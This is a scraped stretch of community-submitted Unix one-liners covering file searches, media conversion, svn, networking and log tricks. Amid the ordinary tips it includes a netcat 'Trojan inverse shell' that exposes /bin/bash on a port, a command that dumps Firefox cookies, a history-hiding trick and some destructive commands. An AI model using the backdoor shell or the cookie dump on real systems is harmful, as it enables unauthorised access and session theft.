bash builtin find broken symbolic links == remove broken links == find -L . -type l -exec rm -rf {} \; == how this work == "symbolic link; this is never true if the -L option or the -follow option is in effect, unless the symbolic link is broken. If you want to search for symbolic links when -L is in effect, use -xtype." -- manpage of find. ssh-keygen -R `host hostname | cut -d " " -f 4` Functions: cut hostname ssh ssh-keygen Remove invalid key from the known_hosts file for the IP address of a host Quick shortcut if you know the hostname and want to save yourself one step for looking up the IP address separately. spellcheck(){ typeset y=$@;curl -sd "<spellrequest><text>$y</text></spellrequest>" https://www.google.com/tbproxy/spell|sed -n '/s="[0-9]"/{s/<[^>]*>/ /g;s/\t/ /g;s/ *\(.*\)/Suggestions: \1\n/g;p}'|tee >(grep -Eq '.*'||echo -e "OK");} $ spellcheck motaive Suggestions: motive motives mutative emotive motif $ spellcheck now is the winter of our dicontent Suggestions: discontent content contend $ spellcheck panoply OK Functions: echo grep sed tee Google Spell Checker I took matthewbauer's cool one-liner and rewrote it as a shell function that returns all the suggestions or outputs "OK" if it doesn't find anything wrong. It should work on ksh, zsh, and bash. Users that don't have tee can leave that part off like this: spellcheck(){ typeset y=$@;curl -sd "<spellrequest><text>$y</text></spellrequest>" https://google.com/tbproxy/spell|sed -n '/s="[1-9]"/{s/<[^>]*>/ /g;s/\t/ /g;s/ *\(.*\)/Suggestions: \1\n/g;p}';} alias ..='cd ..' ~/foo/ $ .. ~/ $ Quicker move to parent directory Alias two dots to move to parent directory. Put it into your .bashrc or .profile file. sudo -s "echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all" It really disables all ICMP responses not only the ping one. If you want to enable it you can use: sudo -s "echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_all" find . -maxdepth 1 -type f | wc -l 2342 How many files in the current directory ? A simple "ls" lists files *and* directories. So we need to "find" the files (type 'f') only. As "find" is recursive by default we must restrict it to the current directory by adding a maximum depth of "1". If you should be using the "zsh" then you can use the dot (.) as a globbing qualifier to denote plain files: zsh> ls *(.) | wc -l for more info see the zsh's manual on expansion and substitution - "man zshexpn". gzexe name ... Functions: gzexe Compress excutable files in place. The gzexe utility allows you to compress executables in place and have them automatically uncompress and execute when you run them. FYI: You can compress any executable sha-bang scripts as well (py, pl, sh, tcl, etc.). cat typescript | perl -pe 's/\e([^\[\]]|\[.*?[a-zA-Z]|\].*?\a)//g' | col -b > typescript-processed Functions: cat col perl 'Fix' a typescript file created by the 'script' program to remove control characters attribution: Thanks to repellent on perlmonks.org source: http://www.perlmonks.org/?node_id=684459 perl -MCPAN -e 'CPAN::Shell->install(CPAN::Shell->r)' pgrep -c httpd Show the number of current httpd processes ionice -c3 find / ionice limits process I/O, to keep it from swamping the system (Linux) This command is somewhat similar to 'nice', but constrains I/O usage rather than CPU usage. In particular, the '-c3' flag tells the OS to only allow the process to do I/O when nothing else is pending. This dramatically increases the responsiveness of the rest of the system if the process is doing heavy I/O. There's also a '-p' flag, to set the priority of an already-running process. sed -i 's/20[0-1][0-9]\{7\}/'`date +%Y%m%d%I`'/g' *.db Will edit *.db files in the same directory with todays date. Useful for doing a mass update to domains on a nameserver, adding spf records, etc. Looks for a string starting with 200 or 201 followed by 7 numbers, and replaces with todays date. This won't overwrite Ip's but i would still do some double checking after running this. Make sure your server's date is correct, otherwise insert your own serial number. rndc reload should usually follow this command. du -b filename Simplest way to get size (in bytes) of a file history | cut -c8- | sort | uniq -c | sort -rn | head Functions: cut sort uniq script -f /dev/pts/3 Will redirect output of current session to another terminal, e.g. /dev/pts/3 Courtesy of bassu, http://www.commandlinefu.com/commands/by/bassu echo .* Find all dot files and directories until foo some args; do echo "crashed: $? respawning..." >&2; sleep 10; done do 'foo' until it exits successfully, pausing in between crashes restart a buggy script when it dies. works great for "git svn fetch", which leaks memory like a sieve and eventually dies...making you restart it. kdialog --passivepopup <text> <timeout> Show a passive popup in KDE command ps -Hacl -F S -A f F S UID PID PPID CLS PRI ADDR SZ WCHAN RSS PSR STIME TTY TIME CMD Functions: command ps View Processeses like a fu, fu I don't truly enjoy many commands more than this one, which I alias to be ps1.. Cool to be able to see the heirarchy and makes it clearer what need to be killed, and whats really going on. mplayer -vo dummy -ao dummy -identify * 2>&1 | grep ID_LENGTH | sed 's/.*=\([0-9]*\)/\1/' | xargs echo | sed 's/ /+/g' | bc | awk 'S=$1; {printf "%dh:%dm:%ds\n",S/(60*60),S%(60*60)/60,S%60}' 30529.18 8h:28m:49s Functions: awk bc echo grep sed xargs Get the total length of all videos in the current dir in H:m:s You're behind on your TV catch-up, but how far behind? This command tries to open mplayer against all files in the current dir. If it's a video file it will contain ID_LENGTH, which is summed and output in hours, minutes and seconds. Someone better at awk could probably reduce this down a lot. fdupes -r -1 path | while read line; do j="0"; for file in ${line[*]}; do if [ "$j" == "0" ]; then j="1"; else ln -f ${line// .*/} $file; fi; done; done Functions: file ln read Replace duplicate files by hardlinks mencoder your_video.flv -oac mp3lame -ovc xvid -lameopts preset=standard:fast -xvidencopts pass=1 -o your_video.avi Convert a flv video file to avi using mencoder ‹ First < 54 55 56 57 58 > Last › sudo lshw -C cpu|grep width Functions: grep sudo perl -nle 'printf "%0*v8b\n"," ",$_;' perl -nle 'printf "%0*v8b\n"," ",$_;' hello 01101000 01100101 01101100 01101100 01101111 world 01110111 01101111 01110010 01101100 01100100 ! 00100001 String to binary Cool but useless. sudo dd if=/dev/hda1 of=/dev/hdb2 Clone IDE Hard Disk This command clone the first partition of the primary master IDE drive to the second partition of the primary slave IDE drive (!!! back up all data before trying anything like this !!!) symlinks -r $(pwd) Find status of all symlinks The symlinks command can show status of all symbolic links, including which links are dangling, which symlinks point to files on other file systems, which symlinks use ../ more than necessary, which symlinks are messy (e.g. having too many slashes or dots), etc. Other useful things it can do include removing all dangling links (-d) and converting absolute links to relative links (-c). The path given must be an absolute path (which is why I used $(pwd) in the example command). use vi key bindings at the command line nc -l -p 2000 -e /bin/bash Trojan inverse shell To connect to the shell run: nc server.example.org 2000 limite="5";load5=$(awk '{print $1}' /proc/loadavg);echo "http://chart.apis.google.com/chart?chxr=0,0,5&chxt=y&chs=700x240&cht=gm&chds=0,"$limite"&chd=t:"$load5"&chl="$load5"&chtt=$(hostname)+load+average" http://chart.apis.google.com/chart?chxr=0,0,5&chxt=y&chs=700x240&cht=gm&chds=0,5&chd=t:0.52&chl=0.52&chtt=zappa+load+average Load average + API google chart limite = threshold watch 'netstat -anptu |egrep "^Proto|:80 "' Every 2.0s: netstat -anptu |egrep "^Proto|:80 " Wed May 18 11:03:25 2011 Functions: egrep watch Cheap iftop Shows updated status in a terminal window for connections to port '80' in a human-friendly form. Use 'watch -n1' to update every second, and 'watch -d' to highlight changes between updates. If you wish for status updates on a port other than '80', always remember to put a space afterwards so that ":80" will not match ":8080". find . -type f -exec md5sum {} \; > sum.md5 Functions: find md5sum Calculate md5 sums for every file in a directory tree date -d '1 day ago'; date -d '11 hour ago'; date -d '2 hour ago - 3 minute'; date -d '16 hour' Sun May 31 18:36:28 MYT 2009 Mon Jun 1 07:36:28 MYT 2009 Mon Jun 1 16:33:28 MYT 2009 Tue Jun 2 10:36:28 MYT 2009 Get yesterday's date or a previous time With this command you can get a previous or future date or time. Where can you use this? How about finding all files modified or created in the last 5 mins? touch -t `echo $(date -d "5 minute ago" "+%G%m%d%H%M.%S")` me && find . -type f -newer me List all directories created since last week? touch -t `echo $(date -d "1 week ago" "+%G%m%d%H%M.%S")` me && find . -type d -cnewer me I'm sure you can think of more ways to use it. Requires coreutils package. find . -not \( -name .svn -prune \) -type f -print0 | xargs --null grep <searchTerm> Search through files, ignoring .svn By putting the "-not \( -name .svn -prune \)" in the very front of the "find" command, you eliminate the .svn directories in your find command itself. No need to grep them out. You can even create an alias for this command: alias svn_find="find . -not \( -name .svn -prune \)" Now you can do things like svn_find -mtime -3 u=`curl -d 'dl.start=Free' $(curl $1|perl -wpi -e 's/^.*"(http:\/\/rs.*)" method.*$/$1/'|egrep '^http'|head -n1)|grep "Level(3) \#2"|perl -wpi -e 's/^.*(http:\/\/rs[^\\\\]*).*$/$1/'`;sleep 60;wget $u Functions: egrep grep head perl rapidshare download script in 200 characters seq -s" " -50 -1 | tr -dc - Functions: seq tr Get there by going backwards and forgetting the numbers. vmstat 1 10 | /usr/xpg4/bin/awk -f ph-vmstat.awk kthr memory page disk faults cpu r b w swap free re mf pi po fr de sr cd cd cd s0 in sy cs us sy id Functions: vmstat Replace Solaris vmstat numbers with human readable format % cat ph-vmstat.awk # Return human readable numbers function hrnum(a) { b = a ; if (a > 1000000) { b = sprintf("%2.2fM", a/1000000) ; } else if (a > 1000) { b = sprintf("%2.2fK", a/1000) ; } return(b) ; # Return human readable storage function hrstorage(a) { if (a > 1024000) { b = sprintf("%2.2fG", a/1024/1024) ; } else if (a > 1024) { b = sprintf("%2.2fM", a/1024) ; } OFS=" " ; $1 !~ /[0-9].*/ {print} $1 ~ /[0-9].*/ { $4 = hrstorage($4) ; $5 = hrstorage($5) ; $9 = hrnum($9) ; $10 = hrnum($10) ; $17 = hrnum($17) ; $18 = hrnum($18) ; $19 = hrnum($19) ; print ; svn log -r {`date +"%Y-%m-%d" -d "1 month ago"`}:HEAD|grep '^r[0-9]' |cut -d\| -f2|sort|uniq -c Show top SVN committers for the last month wmctrl -o 2560,0 ;sleep 2 ; echo "FIRE 001" | osd_cat -o 470 -s 8 -c red -d 10 -f -*-bitstream\ vera\ sans-*-*-*--250-*-*-*-*-*-*-* ; sleep 1; wmctrl -o 0,0 trying to publish a film on youtube... http://www.youtube.com/watch?v=5MjDENKVuVg The name of the film on youtube is "Auto Rotate Cube (compiz)" Auto Rotate Cube (compiz) Strip my code to: wmctrl -o 0,0 # autorotates to the first face. In fact [0-1279],0 wmctrl - 1280,0 # goes to the second face wmctrl -o 2560,0 # goes to the third face, and so on. # Use multiples of the horizontal display resolution. My example work for 1280x800 display, been 1280 the number of interest. Tweak the number, try a biiiig one and see your cube spinning... I put a complex example to show how fun things can be, even for my ademco and paradox alarm central network advisor interface xpto etc. It rotates two faces, print the alarm message, and goes back tho where it was. Tested on BIGLINUX 4.2, equivalent to ubuntu LTS hardy. _cd ~/nsfw; mplayer midget_donkey.mpeg Note the extra space before the command (I had to put it as an underscore since the website eats up preceding spaces). That's all it takes. Now if you check your history with "$ history", it wont show up. apache2 -t -D DUMP_MODULES Loaded Modules: core_module (static) log_config_module (static) logio_module (static) mpm_prefork_module (static) http_module (static) so_module (static) alias_module (shared) auth_basic_module (shared) authn_file_module (shared) authz_default_module (shared) authz_groupfile_module (shared) authz_host_module (shared) authz_user_module (shared) autoindex_module (shared) cgi_module (shared) dir_module (shared) env_module (shared) mime_module (shared) negotiation_module (shared) php5_module (shared) rewrite_module (shared) setenvif_module (shared) status_module (shared) Syntax OK Know which modules are loaded on an Apache server This let you know which modules has loaded the Apache server, very useful to know if the mod_rewrite is ready to use. sync && echo 3 | sudo tee /proc/sys/vm/drop_caches Clear filesystem memory cache Found here: http://ubuntuforums.org/showthread.php?t=589975 echo -e "[mysql]\npager=less -niSFX" >> ~/.my.cnf Changes standard mysql client output to 'less'. In another words makes query results of mysql command line client to look much better. goclf() { type "$1" | sed '1d' | tr -d "\n" | tr -s '[:space:]'; echo } root@ballgag ~ % tail -n4 .bashrc # newlines to spaces break code goclf() type "$1" | sed '1d' | tr -d "\n" | tr -s '[:space:]'; echo root@ballgag ~ % type goclf # command will work, but unneeded space goclf is a function goclf () type "$1" | sed '1d' | tr -d "\n" | tr -s '[:space:]'; echo root@ballgag ~ % goclf goclf # elegant goclf () { type "$1" | sed '1d' | tr -d "\n" | tr -s '[:space:]'; echo} Functions: echo sed tr type Prepare a commandlinefu command. This command will format your alias or function to a single line, trimming duplicate white space and newlines and inserting delimiter semi-colons, so it continues to work on a single line. expandurl() { curl -sIL $1 | grep ^Location; } Location: http://is.gd/jAdSZ3 [following] Location: https://wiki.ubuntu.com/UbuntuOpenWeek [following] Expand shortened URLs curl(1) is more portable than wget(1) across Unices, so here is an alternative doing the same thing with greater portability. This shell function uses curl(1) to show what site a shortened URL is pointing to, even if there are many nested shortened URLs. This is a great way to test whether or not the shortened URL is sending you to a malicious site, or somewhere nasty that you don't want to visit. The sample output is from: expandurl http://t.co/LDWqmtDM find . -type f -size +25000k -exec ls -lh {} \; | awk '{ print $8 ": " $5 }' ./tapestry/tapestry-project-4.1.5-full.zip: 46M ./tapestry/tapestry-bin-5.1.0.1.zip: 29M ./tapestry/tapestry-bin-5.1.0.2.tar.bz2: 29M ./tapestry/tapestry-bin-5.1.0.0.zip: 29M ./tapestry/tapestry-project-4.1.3-full.tar.bz2: 27M ./tapestry/tapestry-bin-5.1.0.0.tar.gz: 29M Functions: awk find ls List files above a given threshold List files above a given size threshold. cat frame/*.mpeg | ffmpeg -i $ID.mp3 -i - -f dvd -y track/$ID.mpg 2>/dev/null concat multiple videos into one (and add an audio track) This is an extract from a larger script which formats the video for DVD. The videos I use have no audio track so I need to add one. Tweak as you like... bchunk IMAGE.bin IMAGE.cue IMAGE.iso tux@gnu:/media/disk/linuxcbt$ bchunk nsid-lcbtregex.bin nsid-lcbtregex.cue LinuxCBT_RegEx_Edition.iso binchunker for Unix, version 1.2.0 by Heikki Hannikainen <hessu@hes.iki.fi> Reading the CUE file: Writing tracks: 1: LinuxCBT_RegEx_Edition.iso01.iso 229/229 MB [********************] 100 % convert .bin / .cue into .iso image bchunk [-v] [-p] [-r] [-w] [-s] ‹ First < 55 56 57 58 59 > Last › truncate -s0 file The downside of output redirection is that you need permissions. So something like won't play nicely w/ sudo. You'd need to do something like bash -c '> file' instead, you could go w/ sudo truncate -s0 file tail -n 50 -f /var/log/apache2/access_log /var/log/apache2/error_log tail: watch a filelog -f file(s) to be monitorized -n number of last line to be printed on the screen in this example, the content of two files are displayed cal |grep -A7 -B7 --color=auto $(date +%d) November 2011 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 Functions: cal date grep prettier "cal" command save_state=$(stty -g);echo -n "Password: ";stty -echo;read password;stty "$save_state";echo "";echo "You inserted $password as password" Hiding password while reading it from keyboard Allow to read password in a script without showing the password inserted by the user touch $2;firefox -print $1 -printmode PDF -printfile $2 convert a web page into a pdf This uses the "command-line print" plugin for Firefox (http://torisugari.googlepages.com/commandlineprint2). This same plugin can also produce PNGs. On *nix, the file must exist; therefore the touch bit in front. Also, firefox seems to ignore saved user preferences when "printing" this way (margins, header, footer, etc.), so I had to tweak my ~/.mozilla/firefox/xxxxxxxx.default/prefs.js file by hand. Yup, that's *prefs.js* not user.js - apparently, firefox ignores my user.js file too... whatis [command-name] $ whatis w who users w (1) - Show who is logged on and what they are doing who (1) - show who is logged on who (1p) - display who is on the system users (1) - print the user names of users currently logged in to the current host Functions: whatis Show a Command's Short Description The whatis command displays a short description for the command you list on the command line. It is useful to quickly learn what a command does mysql -e 'show databases' | sed -n '2,$p' | xargs -I DB 'mysqldump DB > DB.sql' Functions: sed xargs No need to loop when we have `xargs`. The sed command filters out the first line of `show databases` output, which is always "Database". ssh [user]@[address] "mpg321 -" < [file].mp3 This one doesn't need to convert to wav. printf ${PATH//:/\\n} /opt/local/bin /opt/local/sbin /usr/X11/bin Show the PATH, one directory per line This is useful for examining the path. sudo ifconfig eth0 hw ether 00:01:02:03:04:05 Functions: ifconfig sudo Changing tha mac adresse eth0 = the name of the interface the same thing for wireless card sudo iwconfig eth1 hw ether 00:01:02:03:04:05 gpg --output foo.txt --decrypt foo.txt.pgp gpg decrypt a file gpg command to decrypt a previously encrypted file on the command line. Can be optionally made into an alias: alias decrypt='gpg --output foo.txt --decrypt foo.txt.pgp' curl -s -d'&url=URL' http://goo.gl/api/url | sed -e 's/{"short_url":"//' -e 's/","added_to_history":false}/\n/' curl -s -d'&url=www.google.com' http://goo.gl/api/url | sed -e 's/{"short_url":"//' -e 's/","added_to_history":false}/\n/' http://goo.gl/fbsS Google URL shortener Use curl and sed to shorten an URL using goo.gl without any other api ip route show dev ppp0 | awk '{ print $7 }' Functions: awk route Print IP of any interface. Useful for scripts. ntpdate pool.ntp.org && hwclock --systohc && hwclock --adjust 4 Jun 09:21:19 ntpdate[10819]: step time server 67.220.194.133 offset 0.613237 sec Functions: hwclock Synchronize both your system clock and hardware clock and calculate/adjust time drift This needs to run as root, for example with sudo: sudo ntpdate pool.ntp.org && sudo hwclock --systohc && sudo hwclock --adjust This command will fetch accurate time from NTP servers and synchronize your system clock, then it will use the system clock to synchronize your hardware clock, and will calculate the time drift. cc -march=native -E -v - </dev/null 2>&1 | grep cc1 This is the output on my AMD Athlon64 X2: /usr/lib/gcc/i486-linux-gnu/4.3.3/cc1 -E -quiet -v - -D_FORTIFY_SOURCE=2 -march=k8-sse3 -mcx16 -msahf --param l1-cache-size=64 --param l1-cache-line-size=64 -mtune=k8 Functions: c++ cc grep Show GCC-generated optimization commands when using the "-march=native" or "-mtune=native" switches for compilation. You can tell GCC to automatically select optimization commands and produce optimized code for the local machine (the one compiling the code), but you can't normally see what switches have been selected and used unless you append a "-v" and pause compilation. addfunction () { declare -f $1 >> ~/.bashrc ; } Add a function you've defined to .bashrc Example: To store the function addfunction after you have defined it: addfunction addfunction socat -v tcp4-l:<port> tcp4:<host>:<port> < 2009/09/25 22:15:54.755594 length=87 from=0 to=86 220 abcmail.my.host.com ESMTP Sendmail 8.14.2/8.14.2; Fri, 25 Sep 2009 22:15:54 +0530\r > 2009/09/25 22:16:02.684058 length=13 from=0 to=12 HELO abcmail < 2009/09/25 22:16:02.780237 length=91 from=87 to=177 250 abcmail.my.host.com Hello abcmail.my.host.com [1.2.3.4], pleased to meet you\r > 2009/09/25 22:16:10.336954 length=5 from=13 to=17 QUIT < 2009/09/25 22:16:10.403763 length=50 from=178 to=227 221 2.0.0 abcmail.my.host.com closing connection\r Create a single-use TCP proxy with debug output to stderr or you can add "-x" to get a typical hexdump like output wget --spider $URL 2>&1 | awk '/Length/ {print $2}' Retrieve the size of a file on a server - Where $URL is the URL of the file. - Replace the $2 by $3 at the end to get a human-readable size. Credits to svanberg @ ArchLinux forums for original idea. Edit: Replaced command with better version by FRUiT. (removed unnecessary grep) cat -n file.txt Show line numbers in a text file mencoder "mf://*.jpg" -mf fps=8 -o ./video.avi -ovc lavc create a .avi with many .jpg :! <bash_command> run a command from within vi without exiting ":! ls -l " results in listing the files in the current directory. pressing "enter" will get you back into vi. ffmpeg -i file.flv -r 15 -b 128k -s qcif -acodec amr_nb -ar 8000 -ac 1 -ab 13 -f 3gp -y out.3gp Convert .flv to .3gp ssh HOST cat < LOCALFILE ">" REMOTEFILE Copy a file over SSH without SCP svn propset svn:ignore "*txt" log/ property 'svn:ignore' set on 'log/' Have subversion ignore a file pattern in a directory If you don't want to commit files to subversion, and don't want those file to show up when doing an "svn stat", this command is what you need find . -depth -type d -empty -exec rmdir -v {} + find and delete empty directories recursively this will show the names of the deleted directories, and will delete directories that only no files, only empty directories. ‹ First < 56 57 58 59 60 > Last › sudo tasksel install lamp-server Functions: install sudo Install a LAMP server in a Debian based distribution The execution of this command will install a LAMP server (Linux, Apache, MySQL and PHP) in a Debian based distribution. For example, in Ubuntu. ssf -f -N -L 4321:home.network.com:25 user@home.network.com Setup an ssh tunnel Uses ssh as tunnel tunnel for an other connection. -f runs ssh in the background -N tell that there is no command to run -L deals with the forwarding aspect where the first number is the local port number, the second is parameter is the name of the server to forward to and the third parameter is the port number on that server. The last part of the command is the usual ssh form consisting of the user name and remote server name echo ".mode tabs select host, case when host glob '.*' then 'TRUE' else 'FALSE' end, path, case when isSecure then 'TRUE' else 'FALSE' end, expiry, name, value from moz_cookies;" | sqlite3 ~/.mozilla/firefox/*.default/cookies.sqlite get cookies from firefox useful to use after with the --load-cookies option of wget killall -INFO dd The result of executing "killall -INFO dd" 3 times from a different terminal: $> dd if=sample_input_file of=sample_output_file 832320+0 records in 832319+0 records out 426147328 bytes transferred in 21.879276 secs (19477213 bytes/sec) 1048577+0 records in 1048576+0 records out 536870912 bytes transferred in 27.847948 secs (19278652 bytes/sec) 1146881+0 records in 1146880+0 records out 587202560 bytes transferred in 30.464571 secs (19274933 bytes/sec) check the status of 'dd' in progress (OS X) "killall -USR1 dd" does not work in OS X for me. However, sending INFO instead of USR1 works. php -i | grep php.ini [user@server ~]$ php -i |grep php.ini Configuration File (php.ini) Path => /usr/local/lib Loaded Configuration File => /usr/local/lib/php.ini Find the location of the currently loaded php.ini file Quick and easy way to find out which php.ini file is being used. Especially useful if you just need to find the location of the file for editing purposes. watch -n 2 -d '/sbin/ifconfig eth0' Highlight network TX, RX information change kill -9 `ps -u <username> -o "pid="` Kill all processes beloging to a single user. curl -s http://bash.org/?random1|grep -oE "<p class=\"quote\">.*</p>.*</p>"|grep -oE "<p class=\"qt.*?</p>"|sed -e 's/<\/p>/\n/g' -e 's/<p class=\"qt\">//g' -e 's/<p class=\"qt\">//g'|perl -ne 'use HTML::Entities;print decode_entities($_),"\n"'|head -1 <Lev> have you SEEN the people who wear the I LOVE LINUX T-shirts....that does more damage to the OS than a billion microsoft blue-screens Functions: grep head perl sed Random line from bash.org (funny IRC quotes) bash.org is a collection of funny quotes from IRC. WARNING: some of the quotes contain "adult" jokes... may be embarrassing if your boss sees them... Thanks to Chen for the idea and initial version! This script downloads a page with random quotes, filters the html to retrieve just one liners quotes and outputs the first one. Just barely under the required 255 chars :) Improvment: You can replace the head -1 at the end by: awk 'length($0)>0 {printf( $0 "\n%%\n" )}' > bash_quotes.txt which will separate the quotes with a "%" and place it in the file. and then: strfile bash_quotes.txt which will make the file ready for the fortune command and then you can: fortune bash_quotes.txt which will give you a random quote from those in the downloaded file. I download a file periodically and then use the fortune in .bashrc so I see a funny quote every time I open a terminal. Remove empty directories You can also use, $ find . -depth -type d -exec rmdir {} \; 2>/dev/null numsum count.txt 15 Using numsum to sum a column of numbers. numsum is part of of the num-utils package, which is available in some Linux distros and can also be downloaded at http://suso.suso.org/xulu/Num-utils. It contains about 10 different programs for dealing with numbers from the command line. Obviously you can do a lot of things that the num-utils programs do in awk, sed, bash, perl scripts, but num-utils are there so that you don't have to remember the syntax for more complex operations and can just think: compute the sum, average, boundary numbers, etc. ffmpeg -f x11grab -s `xdpyinfo | grep 'dimensions:'|awk '{print $2}'` -r 25 -i :0.0 -sameq /tmp/out.mpg > /root/howto/capture_screen_video_ffmpeg dig @208.67.222.222 myip.opendns.com Very effective, use only DNS protocol. The @ part is optional if you already set opendns servers as default ns servers. grep -P "\x05\x00\xc0" mybinaryfile grep binary (hexadecimal) patterns -P activates the Perl regular expression mode. sudo echo 0 > /sys/block/sdb/queue/rotational set your ssd disk as a non-rotating medium if you still get a permissions error using sudo, then nano the file: sudo nano -w /sys/block/sdb/queue/rotational and change 1 to 0 this thread: http://www.ocztechnologyforum.com/forum/showpost.php?p=369836&postcount=15 says that this will "help the block layer to optimize a few decisions" sleep 6s && notify-send -t 10000 -u critical "remember to think" & Set a Reminder for yourself via the notification system This will be seen through your system's visual notification system, notify-osd, notification-daemon, etc. sleep accepts s,m,h,d and floats (date; sleep .25m; date) notify-send (-t is in milliseconds && -u low / normal / critical) man notify-send for more information notification-daemon can use b/i/u/a HTML ddate $date Thu Dec 1 18:28:51 CET 2011 $ddate Today is Setting Orange, the 43rd day of The Aftermath in the YOLD 3177 $ddate +%. Hail Eris, Hack Linux! $man ddate gag version of current date tailf file.log Functions: tailf tailf same as tail -f follow the flow of a log file, showing it in real time to stdout. podwebserver& sleep 2; elinks 'http://127.0.0.1:8020' Prerequisites: module Pod::Webserver installed. You can install it typing: sudo perl -MCPAN -e 'install Pod::Webserver' You can replace elinks with your fav browser. For FF: podwebserver& sleep 2; firefox -remote 'openurl( http://127.0.0.1:8020/, new-tab )' If you have Firefox open, this will pop-up the index web in a new tab. Share your terminal session (remotely or whatever) Force the user you want to watch doing things into doing his things in a screen session. Then simply attach yourself to that session with the command shown above. Works only if you are on the same machine, of course tail -f /path/to/timestamped/files/file-*(om[1]) Always tail/edit/grep the latest file in a directory of timestamped files zsh only If you have this command in your history, you can always re-run it and have it reference the latest file. The glob matches all timestamped files and then the resulting array is sorted by modification time (m) and then the first element in the sorted array is chosen (the latest) egrep 'https?://([[:alpha:]]([-[:alnum:]]+[[:alnum:]])*\.)+[[:alpha:]]{2,3}(:\d+)?(/([-\w/_\.]*(\?\S+)?)?)?' Match a URL For the record: I didn't build this. Just shared what I found that worked. Apologies to the original author! I decided I should fix the case where http://example.com is not matched for the next time I need this. So I read rfc1035 and formalized the host name regex. If anyone finds any more holes, please comment. svn propset svn:ignore "*" tool/templates_c; svn commit -m "Ignoring tool/templates_c" Ignore a directory in SVN, permanently This command allow you to ignore certain directories on SVN commands, like SVN STATUS. It is sad see a lot of temporary files from templates_c for each "svn status", no? ;-) This works only on directories under revision control. tr "\n" " " < file Even shorter. Stolen from comment posted by eightmillion. eog `curl -s http://xkcd.com/ | sed -n 's/<h3>Image URL.*: \(.*\)<\/h3>/\1/p'` rsync -rv --include '*/' --include '*.txt' --exclude '*' srcDir/ desDir/ Rsync two directories with filtered extensions ‹ First < 57 58 59 60 61 > Last › svn diff | vim - colorize your svn diff Will colorize your svn diff. lynx -source http://www.lipsum.com/feed/xml?amount=3|perl -p -i -e 's/\n/\n\n/g'|sed -n '/<lipsum>/,/<\/lipsum>/p'|sed -e 's/<[^>]*>//g' Lorem ipsum dolor sit amet, consectetur adipiscing elit. Etiam mollis consequat mattis. Aliquam laoreet sem semper dolor hendrerit tempus. Pellentesque convallis porta consectetur. Aliquam erat volutpat. Pellentesque vel purus lorem. Aliquam erat volutpat. Sed eget dui eu ligula aliquam commodo. Pellentesque ac risus urna. Mauris imperdiet porttitor tempor. Integer lacinia imperdiet neque, nec fermentum nisi pretium facilisis. Morbi tempor tincidunt pellentesque. Phasellus ante elit, interdum ut euismod sit amet, sollicitudin vel est. Cras et quam nibh, id ultricies odio. Morbi turpis velit, semper non laoreet vel, fringilla sed diam. Proin vel diam diam, eget auctor ipsum. Morbi est diam, vehicula a vulputate in, pretium quis nisi. Aliquam blandit odio et diam interdum euismod. Ut mattis pretium diam sed dictum. Curabitur adipiscing libero tellus. Vivamus elementum purus a dui pulvinar at tincidunt urna consequat. Aenean blandit magna eget ligula pellentesque at bibendum arcu gravida. Donec quis velit in dolor convallis viverra. Maecenas accumsan, tortor eu dictum rhoncus, erat est eleifend quam, non aliquam diam ante a risus. Aenean tristique porta viverra. Nam ullamcorper viverra eros, vestibulum facilisis sapien pretium ut. Nunc urna augue, semper sit amet posuere et, ultrices ac ante. Quisque sed tellus orci, quis lacinia orci. Maecenas dui nulla, ornare vitae tristique ut, condimentum a massa. Donec gravida, dolor sed pulvinar egestas, massa ante dapibus lectus, non molestie enim libero vitae elit Functions: perl sed Get Lorum Ipsum random text from lorumipsum.com This will generate 3 paragraphs with random text. Change the 3 to any number. $command 3>&1 1>&2 2>&3 swap stdout and stderr Possible use, to filter something in stderr: (/usr/bin/$COMMAND $PARAM 3>&1 1>&2 2>&3 | grep -v $uninteresting_error ) 3>&1 1>&2 2>&3 ls -A List dot-files and dirs, but not . or .. stty cbreak -echo; KEY=$(dd bs=1 count=1 2>/dev/null); stty -cbreak echo Functions: dd stty Read a keypress without echoing it This shell snippet reads a single keypress from stdin and stores it in the $KEY variable. You do NOT have to press the enter key! The key is NOT echoed to stdout! This is useful for implementing simple text menus in scripts and similar things. */5 * * * * root /usr/local/nagios/sbin/nsca_check_disk 2>&1 |/usr/bin/logger -t nsca_check_disk % tail /var/log/messages Apr 29, 17:40:00 192.168.6.19 nsca_check_disk: 1 data packet(s) sent to host successfully. This command will log the output of your simple cronjobs to syslog, and syslog will take it from there. Works great for monitoring scripts which only produce simple output. Advantages: * This can be used by regular users, without modifying system files like /etc/syslog.conf * Reduce cron spam to root@localhost (Please stop spaming the sysadmins) * Uses common tools like syslog (and logrotate) so that you don't need to maintain yet another krufty logfile. * Still ensures that the output is logged somewhere, for posterity. Perhaps it's stored the secure, central syslog server, for example. * Seems to work fine on Ubuntu, CentOS, FreeBSD & MacOSX diff -b $file1 $file2 # GNU Tools diff files while disregarding indentation and trailing white space echo {001..5} 001 002 003 004 005 enumerate with padding bash2 : for X in $(seq 1 5); do printf "%03g " "$X";done bash3 : for X in {1..5}; do printf "%03g " "$X";done bash4 : echo {001..5} nano +X foo Jump to line X in file in Nano. Starts the cursor on line X of file foo. Useful for longer files in which it takes a long time to scroll. If X is greater than the number of lines in file foo, it will go to the last existing line. tail -f *[!.1][!.gz] root@llistes:/var/log/mailman# tail -f *[!.1][!.gz] ==> error <== ==> post <== ==> qrunner <== Mar 06 06:31:51 2009 (30465) OutgoingRunner qrunner caught SIGHUP. Reopening logs. Mar 06 06:31:51 2009 (30467) RetryRunner qrunner caught SIGHUP. Reopening logs. Mar 06 06:31:51 2009 (30466) VirginRunner qrunner caught SIGHUP. Reopening logs. Mar 06 06:31:51 2009 (30461) BounceRunner qrunner caught SIGHUP. Reopening logs. Mar 06 06:31:51 2009 (30463) IncomingRunner qrunner caught SIGHUP. Reopening logs. Mar 06 06:31:51 2009 (30462) CommandRunner qrunner caught SIGHUP. Reopening logs. Mar 06 06:31:51 2009 (30460) ArchRunner qrunner caught SIGHUP. Reopening logs. Mar 06 06:31:51 2009 (30455) Master watcher caught SIGHUP. Re-opening log files. ==> smtp <== ==> subscribe <== Mar 05 13:49:58 2009 (32332) test: new dreg@dreg.com, Mar 05 13:49:58 2009 (32332) test: new nice@renice.co.uk, Mar 05 13:49:58 2009 (32332) test: new thisisanemail@somailed.it, ==> vette <== useful tail on /var/log to avoid old logs or/and gzipped files with discard wilcards in bash you can "tail" newer logs files to see what happen, any error, info, warn... 